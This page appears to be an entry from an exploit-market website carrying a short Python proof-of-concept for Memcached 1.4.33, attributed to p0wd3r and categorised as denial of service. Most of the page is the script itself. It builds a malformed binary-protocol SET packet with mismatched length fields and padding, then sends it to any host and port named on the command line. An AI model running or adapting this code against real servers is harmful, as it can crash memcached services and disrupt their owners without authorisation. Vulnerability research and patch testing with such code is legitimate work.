[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Memcached 1.4.33 - PoC (3)

Author
p0wd3r
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-26228
Category
dos / poc
Date add
03-11-2016
Platform
linux
# Source: http://paper.seebug.org/95/
 
import struct 
import socket  
import sys
 
 
MEMCACHED_REQUEST_MAGIC = "\x80" 
OPCODE_SET = "\x21" 
key_len = struct.pack("!H",32)  
body_len = struct.pack("!I",1)  
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000  
if len(sys.argv) != 3:  
    print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
s.sendall(packet)  
print s.recv(1024)  
s.close()

#  0day.today [2024-12-24]  #